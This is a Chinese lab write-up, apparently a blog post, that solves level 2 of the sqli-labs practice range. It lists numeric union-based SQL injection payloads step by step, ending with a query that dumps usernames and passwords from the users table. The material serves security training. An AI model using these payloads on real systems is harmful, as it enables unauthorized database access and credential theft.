sqli-labs靶场第二关——数字型

一:查找注入类型:

输入

sql 复制代码
?id=1'--+

与第一关的差别:报错;

说明不是字符型

渐进测试:?id=1--+,结果正常,说明是数字型

二:判断列数和回显位

sql 复制代码
?id=1 order by 3--+

正常, 说明有三列,然后找回显点

sql 复制代码
?id=-1 union select 1,2,3--+

三:找数据库名

sql 复制代码
?id=-1 union select 1,database(),3--+

得到数据库名:security

四:找所有的表和列

表:

sql 复制代码
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

复习拆解句子:(直接查询)

group_select:聚合函数,将多行数据合并成一个字符串,帮助我们高效提取信息

table_name:表名

information_schema.table:数据库中所有表的信息

table_schema:数据库名

列:

sql 复制代码
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

复习拆解:(嵌套查询)

1.内层又加上select的原因: 要嵌套查询,顺序如下:

表 → 子查询(group_concat)→ 作为值插入外层SELECT的列

column_name:列名

infromation_schema.columns:包含所有表的列的信息

table_schema:数据库名

table_name:表名

五:查数据!

sql 复制代码
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

六:复盘总结

如何在一开始确定基于错误注入(Error-based)的注入类型(数字/字符/括号):

相关推荐
颜颜yan_几秒前
企业级时序数据库选型指南:从传统架构向智能时序数据管理的转型之路
数据库·架构·时序数据库
lichenyang4533 分钟前
管理项目服务器连接数据库
数据库·后端
沙振宇10 分钟前
【数据库】通过‌phpMyAdmin‌管理Mysql数据
数据库·mysql
杨云龙UP1 小时前
CentOS Linux 7 (Core)上部署Oracle 11g、19C RAC详细图文教程
数据库·oracle
ezl1fe1 小时前
RAG 每日一技(十八):手写SQL-RAG太累?LangChain的SQL智能体(Agent)前来救驾!
数据库·人工智能·后端
小咖张1 小时前
spring声明式事务,finally 中return对事务回滚的影响
数据库·java 声明式事务
JSON_L1 小时前
MySQL 加锁与解锁函数
数据库·mysql
白鲸开源2 小时前
收藏!史上最全 Apache SeaTunnel Source 连接器盘点 (2025版),一篇通晓数据集成生态
大数据·数据库·开源
MonKingWD2 小时前
MySQL事务篇-事务概念、并发事务问题、隔离级别
数据库·后端·mysql
Java水解3 小时前
深入理解 SQL 中的 COALESCE、NULLIF 和 IFNULL 函数
后端·sql